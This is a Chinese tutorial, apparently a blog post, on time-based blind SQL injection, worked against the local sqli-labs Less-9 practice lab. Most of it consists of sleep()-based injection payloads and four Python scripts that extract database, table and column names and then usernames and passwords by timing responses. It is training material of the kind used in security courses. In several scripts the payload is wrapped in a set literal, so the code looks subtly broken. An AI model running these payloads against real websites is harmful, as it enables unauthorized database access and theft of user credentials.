SQL注入---时间盲注

目录

1、时间盲注

1.1原理

2、常见函数

2.1延迟函数

2.2相关函数

3、注入流程

3.1判断注入点

3.2测试可注入方式

3.3猜数据库长度

3.4猜数据库名

4、靶场示例(less9)

4.1判断注入点

4.2猜测数据库长度

4.3猜数据库名

代码:

结果:

4.4猜测表名

代码:

结果:

4.5获取字段名

代码:

结果:

4.6获取数据

代码:

结果:


1、时间盲注

1.1原理

        通过一个页面加载的时间延时来判断,但是这和网络,性能,设置的延时长短有关系当对数据库进行查询操作,如果查询的条件不存在,语句执行的速度非常快,执行时间基本可以认为是0,通过控制sql语句的执行时间来判断是否存在注入。

2、常见函数

2.1延迟函数

sleep(N)函数

即如果写入到数据库被执行了,sleep(N)可以让此语句运行N秒钟(通过执行时间来判断是否被执行,但是可能会因网速等问题造成参数误差)

2.2相关函数

if()函数

​ if(a,b,c),如果a的值为true,则返回b的值,如果a的值为false,则返回c的值

3、注入流程

3.1判断注入点

1)"and 1=1--+  页面返回有数据

2)"and 1=0--+  页面返回有数据

则:页面的返回没有变化,可能是盲注

3.2测试可注入方式

1)页面没有回显位置(联合注入无法使用)
2)页面不显示数据库的报错信息(报错注入无法使用)
3)无论成功还是失败,页面只响应一种结果(布尔盲注无法使用)

判断使用时间盲注

3.3猜数据库长度

and if((length(database()))=10,sleep(5),1)--+ 

如果页面延时了,则:当前数据库名称长度为 10

3.4猜数据库名

and if(ascii(substr(database(),1,1))=107,sleep(5),1)--+

若页面延时了,则:数据库第一个字母是k... 类推得到数据库名

4、靶场示例(less9)

4.1判断注入点

进行多次尝试,如果页面沉睡3秒,说明存在注入点。

4.2猜测数据库长度

?id=1' and if(length(database())=8,sleep(3),1)--+

如果数据库长度等于8,则页面沉睡3秒,如果数据库长度不等于8,则页面无反应。

4.3猜数据库名

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(3),1)--+

如果数据库名的第一个字符的ascii码值是115,则页面沉睡3秒,如果数据库名的第一个字符的ascii码值不等于115,则页面无反应。

我们可以通过一个python脚本来获取数据库名

代码:

import time
import requests
 
url = 'http://127.0.0.1/sqli-labs-master/less-9/index.php'
 
def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
 
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)
 
inject_database(url)
 

结果:

4.4猜测表名

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=97,sleep(5),1)--+

此时页面并没有沉睡,说明表名的首字母的ascii码值不为97.

我们可以通过一个python脚本来获取表名

代码:

import time
import requests
 
url = 'http://127.0.0.1/sqli-labs-master/less-9/index.php'
 
def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload ={
                "1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            }
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
 
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)
 
inject_database(url)
 

结果:

4.5获取字段名

把上面的python脚本中的payload变换一下

代码:

import time
import requests
 
url = 'http://127.0.0.1/sqli-labs-master/less-9/index.php'
 
def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload ={
                "1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            }
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
 
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)
 
inject_database(url)
 

结果:

4.6获取数据

代码:

import time
import requests
 
url = 'http://127.0.0.1/sqli-labs-master/less-9/index.php'
 
def inject_database(url):
    name = ''
    for i in range(1, 200):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload ={
                "1' and if(ascii(substr((select group_concat(username,id,password) from users), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            }
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
 
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)
 
inject_database(url)
 

结果:

5、总结

时间盲注使用的优先级并不高,通常是在联合注入、报错注入、布尔盲注都无法使用时才会考虑,希望这篇文章能带给你帮助。

  • 17
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值